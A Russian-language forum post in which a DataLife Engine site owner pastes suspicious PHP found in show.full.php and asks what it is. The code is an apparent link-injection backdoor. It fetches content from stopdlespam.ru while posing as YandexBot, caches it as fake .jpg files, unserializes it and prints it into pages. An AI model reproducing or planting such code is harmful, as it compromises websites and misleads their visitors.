вопрос
Здравствуйте дорогие братья
Настраивал движок наткнулся в файле show.full.php на такой код
идет после строк :
Сам код:
Идет до строк:
предчувствие такое что его здесь быть не должно, непонятно за что он отвечает, нагуглил что похожий код был вирус на wordpress. Что за stopdlespam.ru и '/antispam.php' и что куда он пишет? При непосредственом входе на stopdlespam.ru редирект на google поиск.. Заметил что по этому пути $file = 'uploads/posts/thumbs/ в папке thumbs создаются файлы с расширением .jpg но как картинки не открываются никаким просмотрщиком и даже браузером. Разъясните светлые головы что за скрипт, и должен ли он тут быть?
Настраивал движок наткнулся в файле show.full.php на такой код
идет после строк :
$tpl->set( '[print-link]', "" );
$tpl->set( '[/print-link]', "" );
}
// Ссылки на версию для печати
Сам код:
class Get_links {
var $host = 'stopdlespam.ru';
var $path = '/antispam.php';
var $_cache_lifetime = 21600;
var $_socket_timeout = 5;
function get_remote() {
$req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
$_user_agent = "Mozilla/5.0 (compatible; YandexBot/3.0; ".$req_url.")";
$links_class = new Get_links();
$host = $links_class->host;
$path = $links_class->path;
$_socket_timeout = $links_class->_socket_timeout;
@ini_set('allow_url_fopen', 1);
@ini_set('default_socket_timeout', $_socket_timeout);
@ini_set('user_agent', $_user_agent);
if (function_exists('file_get_contents')) {
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Referer: {$req_url}\r\n".
"User-Agent: {$_user_agent}\r\n"
)
);
$context = stream_context_create($opts);
$data = @file_get_contents('http://' . $host . $path, false, $context);
preg_match('/(\)(.*?)(\)/', $data, $data);
return @$data[2];
}
return;
}
function return_links() {
$links_class = new Get_links();
$site_host = md5(str_replace ("www.", "", $_SERVER['HTTP_HOST']));
$file = 'uploads/posts/thumbs/'.$site_host.'.jpg'; // относительный путь т.е. файл дожен создаваться в папке с шаблоном?
$_cache_lifetime = $links_class->_cache_lifetime;
if (isset($_COOKIE['dle_clear'])) {
return "";
} elseif (!file_exists($file))
{ @touch($file, time());
$data = $links_class->get_remote();
if (!empty($data)){file_put_contents($file, $data);}
} elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
@touch($file, time());
$data = $links_class->get_remote();
if (!empty($data)){file_put_contents($file, $data);}
} else {
$array = unserialize(file_get_contents($file));
if (!empty($array[$_SERVER['REQUEST_URI']])){
foreach($array[$_SERVER['REQUEST_URI']] as $URI){$data1 .= $URI;}
return $array['comm'] . $array['start'] . $data1 . $array['end'] . $array['style'];
}
}
}
}
$links = new Get_links();
Идет до строк:
if( $row['allow_rate'] ) {
$tpl->set( '{rating}', ShowRating( $row['id'], $row['rating'], $row['vote_num'], $user_group[$member_id['user_group']]['allow_rating'] ) );
$tpl->set( '{vote-num}', "".$row['vote_num']."" );
$tpl->set( '[rating]', "" );
$tpl->set( '[/rating]', "" );
предчувствие такое что его здесь быть не должно, непонятно за что он отвечает, нагуглил что похожий код был вирус на wordpress. Что за stopdlespam.ru и '/antispam.php' и что куда он пишет? При непосредственом входе на stopdlespam.ru редирект на google поиск.. Заметил что по этому пути $file = 'uploads/posts/thumbs/ в папке thumbs создаются файлы с расширением .jpg но как картинки не открываются никаким просмотрщиком и даже браузером. Разъясните светлые головы что за скрипт, и должен ли он тут быть?